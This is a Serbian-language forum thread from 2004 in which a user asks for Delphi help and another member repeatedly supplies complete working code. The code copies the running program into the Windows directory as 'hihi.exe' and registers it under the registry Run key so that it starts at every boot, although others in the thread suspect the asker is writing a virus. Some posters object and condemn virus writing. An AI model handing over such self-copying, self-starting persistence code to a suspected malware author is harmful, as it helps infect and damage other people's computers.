[es] - Pomoc oko Delphi-a

0cool
Novi Pazar

Član broj: 33596
Poruke: 26
*.verat.net.

Profil

Pomoc oko Delphi-a

^{25.10.2004. u 14:26 - pre 238 meseci}

Ako neko moze da mi kaze kako da naredim programu da kopira file u odredjen folder i da ga startuje?

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 15:48 - pre 238 meseci}

Valjda si htio da pitas kako da napises program koji kopira fajl u neki folder i onda ga pokrece :)

Code:

procedure TForm1.Button1Click(Sender: TObject);
begin
CopyFile('c:\windows\system32\notepad.exe', 'c:\editor.exe', TRUE);
ShellExecute(Handle, 'open', 'c:\editor.exe', nil, nil, SW_RESTORE);
end;

Da bi mogao da koristis funkciju ShellExecute moras ukljuciti ShellAPI unit.

Code:

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ShellAPI;

Slavisa

Odgovor na temu

0cool
Novi Pazar

Član broj: 33596
Poruke: 26
*.verat.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 19:41 - pre 238 meseci}

Pa da to je to samo sto treba da kopirana samog sebe u neki folder, moze random i da se startuje.
Da li je to moguce?

Odgovor na temu

morlic
Milos Orlic
Beograd

Član broj: 6081
Poruke: 735
*.52.eunet.yu.

+1 Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 19:51 - pre 238 meseci}

Pa... ako pises virus svasta je moguce...

Odgovor na temu

0cool
Novi Pazar

Član broj: 33596
Poruke: 26
*.verat.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 20:08 - pre 238 meseci}

Jooj kako je ovo sugavo, moram da odrzavam konekciju zivom da se nebi ukovala.
Ako se ukuje *ebi se!

Nego sta treba da se stavi u source path da prog sam sebe kopira u neki folder bez obzira gde je prog stavljen?

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 20:20 - pre 238 meseci}

Heh, naughty boy ;)

Code:

procedure TForm1.Button1Click(Sender: TObject);
var
  WinDir : String;
  outfile : String;
  Reg : TRegistry;
begin
  SetLength(WinDir, 255);
  GetWindowsDirectory(PAnsiChar(WinDir), 255);
  WinDir := PAnsiChar(WinDir);
  outfile := WinDir + '\hihi.exe';
  CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(outfile), TRUE);

  Reg := TRegistry.Create();
  try
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    Reg.WriteString('hihi', outfile);
    Reg.CloseKey();
  finally
    Reg.Free();
  end;
end;

... i jos moras imati Uses Registry;

Code:

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Registry;

Slavisa

Odgovor na temu

0cool
Novi Pazar

Član broj: 33596
Poruke: 26
*.verat.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 20:29 - pre 238 meseci}

Mnogo hvala nego jos jedna stvar
Za koji je ovo Delphi?
Meni treba za 6-icu.
I jos nesto kod procedure TForm1.Button1Click(Sender: TObject):
kaze da treba da se prva tackica promeni u ; a kad to uradim kaze da ne prepoznaje direktivu Button1Click i umesto prve zagrade ocekuje deklaraciju...
Moze pomoc?

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 20:48 - pre 238 meseci}

Za 6 i 7. Ako ti treba za ranije verzije umjesto PAnsiChar stavi PChar.
Nesto si ubrljavio, zalijepi citav src.

Slavisa

Odgovor na temu

0cool
Novi Pazar

Član broj: 33596
Poruke: 26
*.verat.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 20:55 - pre 238 meseci}

ma opet isto
ocekuje ; umesto . a kad zamenim ne prepoznaje Button1Click

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 21:20 - pre 238 meseci}

Kreiraj novi projekat i dvoklikni na formu, zatim izmedju begin i end zalijepi:

Code:

  SetLength(WinDir, 255);
  GetWindowsDirectory(PAnsiChar(WinDir), 255);
  WinDir := PAnsiChar(WinDir);
  outfile := WinDir + '\hihi.exe';
  CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(outfile), TRUE);

  Reg := TRegistry.Create();
  try
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    Reg.WriteString('hihi', outfile);
    Reg.CloseKey();
  finally
    Reg.Free();
  end;

... a onda izmedju procedure i begin zalijepi:

Code:

var
  WinDir : String;
  outfile : String;
  Reg : TRegistry;

Na kraju skroluj do vrha gdje ti se nalazi Uses klauzula i dodaj ,Registry prije znaka ; tako da imas bla, blam, blah, Registry;

_{[Ovu poruku je menjao VRKY dana 20.04.2005. u 17:56 GMT+1]}

Slavisa

Odgovor na temu

broker

Član broj: 2415
Poruke: 8514
212.62.59.*

+11 Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 21:23 - pre 238 meseci}

Slavisa ti si bas dokon....

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 21:38 - pre 238 meseci}

Mozda ces ovako lakse da skontas:

Code:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  WinDir : String;
  outfile : String;
  Reg : TRegistry;
begin
  SetLength(WinDir, 255);
  GetWindowsDirectory(PAnsiChar(WinDir), 255);
  WinDir := PAnsiChar(WinDir);
  outfile := WinDir + '\hihi.exe';
  CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(outfile), TRUE);

  Reg := TRegistry.Create();
  try
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    Reg.WriteString('hihi', outfile);
    Reg.CloseKey();
  finally
    Reg.Free();
  end;
end;

end.

Slavisa

Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314

+102 Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 21:39 - pre 238 meseci}

Ako pokusavas da pises virus a ne znas neke osnove bolje batali...
Onu gresku ti verovatno javlja zato sto nemas TButton objekat cije je ime Button1 zalepljeno na formu...

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{25.10.2004. u 21:51 - pre 238 meseci}

Pa kad je samo Copy/Paste citav kod ko zna gdje ... :)

Slavisa

Odgovor na temu

Rapaic Rajko
Bgd

Član broj: 4105
Poruke: 810
217.119.242.*

+62 Profil

Re: Pomoc oko Delphi-a

^{27.10.2004. u 07:45 - pre 238 meseci}

More, ako pise virus DOBICE PREKO NOSA MU NEPISMENOG, BRE! MARS SA FORUMA!

Admin, zahtevam da se ovakve poruke sankcionisu, u cemu je razlika izmedju pisanja virusa i nelegalnog kopiranja programa, muzike i ostalih mutnih radnji?
Ja cu vam reci: 'mutne radnje' potkradaju jednog pojedinca ili firmu, ali virusi nanose ogromnu stetu CITAVOJ racunarskoj populaciji.
Da li vam se desilo da vas odjednom lavina klijenata zove na teren 'jer vas program nece da radi'? Ja sam isao za racun moje firme i nalazio viruse/crve i ko zna sta jos, ali niko nije nadoknadio izgubljeno vreme i novac, ni moje firme ni klijenata.
Pozdrav adminu

Rajko

Odgovor na temu

Slavisa
Slavisa Dojcinovic
JKP Cistoca
Banjaluka

Član broj: 9861
Poruke: 44
*.teleklik.net.

Profil

Re: Pomoc oko Delphi-a

^{27.10.2004. u 11:36 - pre 238 meseci}

Pusti coeka nek uci.

Slavisa

Odgovor na temu

broker

Član broj: 2415
Poruke: 8514
212.62.59.*

+11 Profil

Re: Pomoc oko Delphi-a

^{27.10.2004. u 14:41 - pre 238 meseci}

Ma najgore je sto ce Slavisa da mu napise ceo program jer ovaj izgleda i ne zna nista o Delphi-ju.

Odgovor na temu